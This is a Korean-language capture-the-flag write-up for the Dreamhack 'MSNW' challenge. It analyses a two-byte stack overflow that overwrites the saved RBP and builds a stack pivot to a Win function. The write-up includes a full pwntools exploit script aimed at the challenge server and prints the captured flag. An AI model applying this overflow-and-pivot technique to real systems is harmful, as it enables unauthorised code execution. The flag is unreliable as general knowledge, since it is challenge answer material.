Description

    이 문제는 MSNW (Meong Said, Nyang Wrote) 프로그램이 서비스로 등록되어 동작하고 있습니다.

    프로그램의 취약점을 찾고 익스플로잇해 플래그를 획득하세요!

    플래그 형식은 DH{…} 입니다.


    checksec

    iotfragile@iotfragile:~/CTF/MSNW/deploy$ checksec --file ./msnw
    [*] '/home/iotfragile/CTF/MSNW/deploy/msnw'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)

    스택 카나리와 ASLR 보호기법이 걸려있지 않다.


    Decompiled-src

    main

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      Init(argc, argv, envp);
      Echo();
      puts("nyang 🐱: goodbye!");
      return 0;
    }

    Echo() 함수를 실행하고나서
    ~ goodbye!를 출력하고 종료된다

    Echo

    __int64 Echo()
    {
      __int64 result; // rax
    
      while ( 1 )
      {
        result = Call(0);
        if ( !(_DWORD)result )
          break;
        Call(1);
      }
      return result;
    }

    Call(0) 리턴값이 0이어야 반복문을 빠져나갈 수 있다.

    Call

    __int64 __fastcall Call(int a1)
    {
      if ( a1 )
        return Nyang();
      else
        return Meong();
    }

    매개변수로 받는 a1이 1이면, Nyang()
    a1이 0이면, Meong() 함수를 호출한다.

    Nyang

    __int64 Nyang()
    {
      char v1[304]; // [rsp+C0h] [rbp-130h] BYREF
    
      printf("nyang 🐱: ");
      printf("%s", v1);
      return 1LL;
    }

    char v1[304] 변수를 printf하고 있다.

    Meong

    _BOOL8 Meong()
    {
      char s[304]; // [rsp+C0h] [rbp-130h] BYREF
    
      memset(s, 0, sizeof(s));
      printf("meong 🐶: ");
      read(0, s, 306uLL);
      return s[0] != 'q';
    }

    char s[304] 변수에다가 read 함수로 306바이트만큼 사용자의 입력을 받는다.

    여기서 버퍼 오버플로우가 발생한다.

    s 크기는 304바이트인데 2바이트 더 입력받기 때문이다.


    Meong’s STACK

    Meong 함수에서 306바이트만큼 AAAA… 를 입력받은 결과,
    위와 같이 RBP의 하위 2바이트를 원하는 값으로 덮어쓰기가 가능하다.


    Solution

    MEMORY:00007FFC7EB22AC0 db 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h, 41h
    ...
    MEMORY:00007FFC7EB22BF0 dq 7FFC7EB22DF0h
    MEMORY:00007FFC7EB22BF8 dq 401320h (Meong's RET address)

    먼저, Meong’s RBP 주소에 있는 값을 노출시킨다.

      Meong’s RBP 주소에 있는 값은 실제로 Call 함수의 rbp 주소를 가리키는데, 7FFC7EB22DF0h이다.
      그리고 Meong’s buf 주소는 7FFC7EB22AC0h에 있다.

      따라서 Meong’s RBP 주소에 있는 값인 0x330을 빼면, Meong’s buf 주소를 구할 수 있다.

      2번째로, Meong’s buf + 8에 flag를 출력시키는 Win 주소를 넣고 나머지는 더미로 채운다.

      마지막으로, Meong’s RBP 주소에 있는 값을 Meong’s buf 주소로 수정하면 된다.

      (Meong’s RBP 주소에 있는 값과 Meong’s buf 주소는 서로 2바이트밖에 차이나지 않기 때문에 가능하다.)

      그러면, Call 함수의 rbp 주소가 아닌 Meong’s buf 주소가 들어가는데,
      Call에서 에필로그인 leave 어셈블리어가 호출될때

      mov rsp, rbp
      pop rbp

      위와 같게 동작하기 때문에,
      mov rsp, rbp으로 인해
      rsp 값은 rbp(Meong’s buf+0)에 있는 값이 들어가게 되고,

      pop rbp로 인해,
      pop을 했으므로 stack pointer인 rsp는 1 qword 위로 올라가며,
      이제 rsp는 Win 주소(Meong’s buf+8, return address)를 가리킨다.

      마지막으로 retn 어셈블리어로 인해,

      pop rip
      jmp rip

      스택에 저장된 복귀주소인 Win 주소(Meong’s buf+8, return address)로 리턴한다.

      return address는 POP 되어 RIP에 저장되고,
      stack pointer는 한번더 1 qword 위로 올라간다.


      solve.py

      from pwn import *
      #context.log_level = 'debug'
      context(arch='amd64',os='linux')
      warnings.filterwarnings('ignore')
      
      #p = process('./msnw')
      p = remote("host3.dreamhack.games", 19591)
      
      p.recvuntil("meong ")
      p.recvuntil(":")
      
      payload = b""
      payload += b"A"*304
      p.send(payload)
      
      p.recvuntil("nyang ")
      p.recvuntil(":")
      p.recvuntil("A"*304)
      
      Meong_rbp_val = p.recvuntil("meong")
      Meong_rbp_val = Meong_rbp_val.split(b"meong")[0]
      Meong_rbp_val = Meong_rbp_val + b"\x00\x00"
      Meong_rbp_val = u64(Meong_rbp_val)
      print(f"Meong_rbp_val: {hex(Meong_rbp_val)}")
      
      Meong_buf = Meong_rbp_val - 0x330
      print(f"Meong_buf: {hex(Meong_buf)}")
      Meong_buf_last_2 = hex(Meong_buf)[-4:]
      Meong_buf_last_2 = bytes.fromhex(Meong_buf_last_2)
      
      p.recvuntil(":")
      payload = b""
      payload += b"A"*8
      payload += p64(0x40135b)
      payload += b"A"* 288
      payload += Meong_buf_last_2[::-1]
      p.send(payload)
      
      p.interactive()

      Result

      iotfragile@iotfragile:~/CTF/MSNW/deploy$ python3 solve3.py
      [+] Opening connection to host3.dreamhack.games on port 19591: Done
      Meong_rbp_val: 0x7ffdd580c8f0
      Meong_buf: 0x7ffdd580c5c0
      [*] Switching to interactive mode
       DH{858850f130ca946b440b44fbc63b1fd63d85ad79fe8881b72bfe90bf37e11982}

      답글 남기기

      이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다